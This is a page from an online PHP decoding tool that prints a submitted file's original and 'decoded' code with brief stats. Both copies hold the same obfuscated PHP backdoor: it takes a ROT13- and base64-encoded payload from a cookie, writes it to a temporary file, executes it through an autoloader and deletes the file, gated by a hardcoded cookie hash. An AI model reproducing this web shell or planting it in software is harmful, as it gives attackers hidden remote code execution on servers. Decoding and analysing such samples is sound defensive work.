Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function FMIebCLjiXEP($mawRlnpJJIARDI){$lgrenrpsW=$_COOKIE;$ZHyZFwhASyUhKC=tempnam(..

Decoded Output download

<?php 
function FMIebCLjiXEP($mawRlnpJJIARDI){$lgrenrpsW=$_COOKIE;$ZHyZFwhASyUhKC=tempnam((!empty(session_save_path())?session_save_path():sys_get_temp_dir()),'7DEvkcLsjLtRwMIA');if(!is_writeable($ZHyZFwhASyUhKC)){$ZHyZFwhASyUhKC=getcwd().DIRECTORY_SEPARATOR."tIMzSMfcUeGpWOzvtT";}$fbqaBtCDTgBC="?p";$fbqaBtCDTgBC="<".$fbqaBtCDTgBC."hp ".base64_decode(str_rot13($lgrenrpsW[4-1]))." ?>";if(is_writable($ZHyZFwhASyUhKC)){$jVjqgGmquEmEcFb=fopen($ZHyZFwhASyUhKC,'w');fwrite($jVjqgGmquEmEcFb,$fbqaBtCDTgBC);fclose($jVjqgGmquEmEcFb);spl_autoload_unregister(__FUNCTION__);require_once($ZHyZFwhASyUhKC);array_map('unlink',glob($ZHyZFwhASyUhKC."*"));}}spl_autoload_register("FMIebCLjiXEP");if(isset($_COOKIE[1+(-1)])&&isset($_COOKIE[2-1])&&isset($_COOKIE[0+3])&&isset($_COOKIE[1+3])){$IVefMHItfpsyGuDE=$_COOKIE[5-1];$lgrenrpsW=$_COOKIE;if(!empty($lgrenrpsW[-1-(-1)])&&!empty($lgrenrpsW[-1+2])&&empty($lgrenrpsW[4-1])&&!empty($lgrenrpsW[1+3])){die();}else{$IVefMHItfpsyGuDE="8a91f4be1bae401bfb11f93e23943eca";if(!strcmp($IVefMHItfpsyGuDE,$lgrenrpsW[1+3])){$ZQpNTUDwtk=explode("AuppgDuYI8S3cq","IVefMHItfpsyGuDE");sort($ZQpNTUDwtk,SORT_STRING);$ZQpNTUDwtk=array_uintersect_assoc($ZQpNTUDwtk,$ZQpNTUDwtk,"strcmp");if(array("PROJhZxUDxX")==@spl_autoload_call("skwmUzBel")){kGvaJsxRd($KPvGymhRGqC,$UIrpmOGWRAD,$PyRVMqxjOAZ);YAEJWDIMNhxV($TucCWROOLQJtqR,$dnPGLIznv,$GUFcdbHk,$HtLRjCXqa,$lCYCUhLeryHXA);rrgQubsclyjvPu($VWRCfsWZpMaovcMv,$TMxwkGiy,$iTXTEESzKARVA);}}}}

Did this file decode correctly?

Original Code

<?php
function FMIebCLjiXEP($mawRlnpJJIARDI){$lgrenrpsW=$_COOKIE;$ZHyZFwhASyUhKC=tempnam((!empty(session_save_path())?session_save_path():sys_get_temp_dir()),'7DEvkcLsjLtRwMIA');if(!is_writeable($ZHyZFwhASyUhKC)){$ZHyZFwhASyUhKC=getcwd().DIRECTORY_SEPARATOR."tIMzSMfcUeGpWOzvtT";}$fbqaBtCDTgBC="?p";$fbqaBtCDTgBC="<".$fbqaBtCDTgBC."hp ".base64_decode(str_rot13($lgrenrpsW[4-1]))." ?>";if(is_writable($ZHyZFwhASyUhKC)){$jVjqgGmquEmEcFb=fopen($ZHyZFwhASyUhKC,'w');fwrite($jVjqgGmquEmEcFb,$fbqaBtCDTgBC);fclose($jVjqgGmquEmEcFb);spl_autoload_unregister(__FUNCTION__);require_once($ZHyZFwhASyUhKC);array_map('unlink',glob($ZHyZFwhASyUhKC."*"));}}spl_autoload_register("FMIebCLjiXEP");if(isset($_COOKIE[1+(-1)])&&isset($_COOKIE[2-1])&&isset($_COOKIE[0+3])&&isset($_COOKIE[1+3])){$IVefMHItfpsyGuDE=$_COOKIE[5-1];$lgrenrpsW=$_COOKIE;if(!empty($lgrenrpsW[-1-(-1)])&&!empty($lgrenrpsW[-1+2])&&empty($lgrenrpsW[4-1])&&!empty($lgrenrpsW[1+3])){die();}else{$IVefMHItfpsyGuDE="8a91f4be1bae401bfb11f93e23943eca";if(!strcmp($IVefMHItfpsyGuDE,$lgrenrpsW[1+3])){$ZQpNTUDwtk=explode("AuppgDuYI8S3cq","IVefMHItfpsyGuDE");sort($ZQpNTUDwtk,SORT_STRING);$ZQpNTUDwtk=array_uintersect_assoc($ZQpNTUDwtk,$ZQpNTUDwtk,"strcmp");if(array("PROJhZxUDxX")==@spl_autoload_call("skwmUzBel")){kGvaJsxRd($KPvGymhRGqC,$UIrpmOGWRAD,$PyRVMqxjOAZ);YAEJWDIMNhxV($TucCWROOLQJtqR,$dnPGLIznv,$GUFcdbHk,$HtLRjCXqa,$lCYCUhLeryHXA);rrgQubsclyjvPu($VWRCfsWZpMaovcMv,$TMxwkGiy,$iTXTEESzKARVA);}}}}

Function Calls

spl_autoload_register 1

Variables

None

Stats

MD5 ef4be79a687cb57eae3e49d2f4194b18
Eval Count 0
Decode Time 48 ms